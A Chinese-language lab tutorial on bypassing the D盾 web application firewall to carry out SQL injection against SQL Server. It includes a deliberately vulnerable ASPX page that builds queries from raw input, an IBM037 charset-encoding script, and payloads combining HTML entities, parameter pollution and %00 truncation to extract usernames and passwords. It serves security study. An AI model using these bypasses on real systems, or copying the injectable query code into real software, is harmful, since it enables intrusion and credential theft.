SQLServer特性
空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
- 位置①
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用数学运算符以及数据类型:news_id=1.0,news_id=1e0,news_id=1-1
- 位置②
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可以利用加号+替换空格:union+select
- 位置③
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用数学运算符:+、-、~、. (注:其中-、~、.号必须是select查询的第一个字段的数据类型为数字型才能使用)
- 可以利用小括号()替换空格:select(1),2,db_name()
- 位置④
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 位置⑤
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 可以利用点号.替换空格:from.users
- 可以利用中括号[]替换空格:from[users]
实验环境
数据库:SQL Server 2008R2
Web服务器:IIS7.5 CN
WAF:D盾_v2.1.6.1[测试版]
靶场源码如下:index.aspx
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient" %>
<!DOCTYPE html>
<script runat="server">
private DataSet resSet=new DataSet();
protected void Page_Load(object sender, EventArgs e)
{
String strconn = "server=.;database=test;uid=sa;pwd=admin";
string id = Request.Params["id"];
string sql = string.Format("select * from newss where id={0}", id);
SqlConnection connection=new SqlConnection(strconn);
connection.Open();
SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection);
dataAdapter.Fill(resSet);
DgData.DataSource = resSet.Tables[0];
DgData.DataBind();
Response.Write("执行语句:<br>"+sql);
Response.Write("<br>结果为:");
}
</script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>SQLServer注入测试</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:DataGrid ID="DgData" runat="server" BackColor="White" BorderColor="#3366CC"
BorderStyle="None" BorderWidth="1px" CellPadding="4"
HeaderStyle-CssClass="head" Width="203px">
<FooterStyle BackColor="#99CCCC" ForeColor="#003399" />
<SelectedItemStyle BackColor="#009999" Font-Bold="True" ForeColor="#CCFF99" />
<PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign="Left"
Mode="NumericPages" />
<ItemStyle BackColor="White" ForeColor="#003399" />
<HeaderStyle CssClass="head" BackColor="#003399" Font-Bold="True" ForeColor="#CCCCFF"></HeaderStyle>
</asp:DataGrid>
</div>
</form>
</body>
</html>
另类字符集编码绕过
绕过原理
HTTP协议兼容性:HTTP Charset的多样性
Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样可以使用。
常见的服务器与可见编码如下所示:
服务器信息 | 可用编码 | 说明 |
Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 | 对参数名和参数值进行编码,服务器会对参数名和参数值均进行url解码,需要对等号和& and进行编码(不进行url编码) |
Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 | 对参数名和参数值进行便慢慢 服务器会对参数名和参数值均进行url解码 等号和&符号不应该以任何方式编码。 |
Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 | 参数名按原始格式(可以像往常一样使用url编码)Body不论是否经过url编码均可等号和&符号不应该以任何方式编码 |
Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 | 参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码 |
IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 | 参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码 |
实验步骤
我们使用如下脚本来进行编码转换:
import urllib
import sys
params = sys.argv[1]
charset= sys.argv[2]
def paramEncode(params="id=1", charset="IBM037", encodeEqualSign=False, encodeAmpersand=False, urldecodeInput=True, urlencodeOutput=True):
result = ""
equalSign = "="
ampersand = "&"
if encodeEqualSign:
equalSign = equalSign.encode(charset)
if encodeAmpersand:
ampersand = ampersand.encode(charset)
params_list = params.split("&")
for param_pair in params_list:
param, value = param_pair.split("=")
if urldecodeInput:
param = urllib.unquote(param).decode('utf8')
value = urllib.unquote(value).decode('utf8')
param = param.encode(charset)
value = value.encode(charset)
if urlencodeOutput:
param = urllib.quote_plus(param)
value = urllib.quote_plus(value)
if result:
result += ampersand
result += param + equalSign + value
return result
print(paramEncode(params,charset))
这里我们使用IBM037编码进行测试。
中文版的BurpSuite需要改变一下BurpSuite的字体类型
然后使用BurpSuite抓包,并发送到Repeater
修改请求方法为POST
在Content-Type头中添加charset字段,值为ibm037
Content-Type: application/x-www-form-urlencoded;charset=ibm037
使用脚本进行编码
python2 encode.py "id=1" IBM037
# 返回 %89%84=%F1
将请求内容改为%89%84=%F1,并发送
可以看到正常返回查询数据
接下来就是进行SQL注入了
成功绕过D盾WAF
D盾清洗数据缺陷+多个规则特性组合绕过
绕过原理
规则缺陷/特性:利用D盾清洗数据的特性
WAF内置多种解码器,经过多次解码以后可能导致绕过。
当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗(为提升性能和降低规则复杂性),筛选出真实的攻击数据进行检测,但是,如果清洗方式不正确,会导致真正的攻击部分被清洗,然后拿去检测的是不含有攻击向量的数据,从而被Bypass。
规则缺陷/特性:数据库空格可使用其它字符替代
替代字符可查看SQLServer特性。
规则缺陷/特性:%00时会被认为读取已结束
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留。
规则缺陷/特性:HTTP参数污染
同时提交参数id,会接收所有参数,通过逗号分隔。
实验步骤
抓包,并更改请求方法
测试D盾清洗数据的特性:
D盾为了防御XSS攻击会对提交的特殊字符进行HTML实体编码,例如提交的数据为<script>
![](http://www.sins7.cn/wp-content/uploads/2021/12/9-10.png)
那么假如我们将提交一个已经实体化编码的数据呢?
这里并没有将>
进行解码,而是将&
符进行编码
![](http://www.sins7.cn/wp-content/uploads/2021/12/11-8.png)
我们可以利用这个特性,使用这串字符去绕过某些多个关键字匹配的规则,如:union…select、order…by、/*…*/、’…’ 等
绕过 and 1=1
注:1.e可以代替空格
id=1.eand/*%26%67%74%3b*/1=1
![](http://www.sins7.cn/wp-content/uploads/2021/12/13-6.png)
绕过 order by
id=1 order/*%26%67%74%3b*/by 2
绕过 union select
id=-1.eunion--%26%67%74%3b%0aselect NULL,NULL,NULL
绕过 from
from的绕过这就是一个技术活了,这里是利用到了HPP以及%00截断来进行绕过
id=-1.eunion--%26%67%74%3b%0aselect NULL,username,password/*%26%67%74%3b&id=%00%0d*/from users
转自:hack学习呀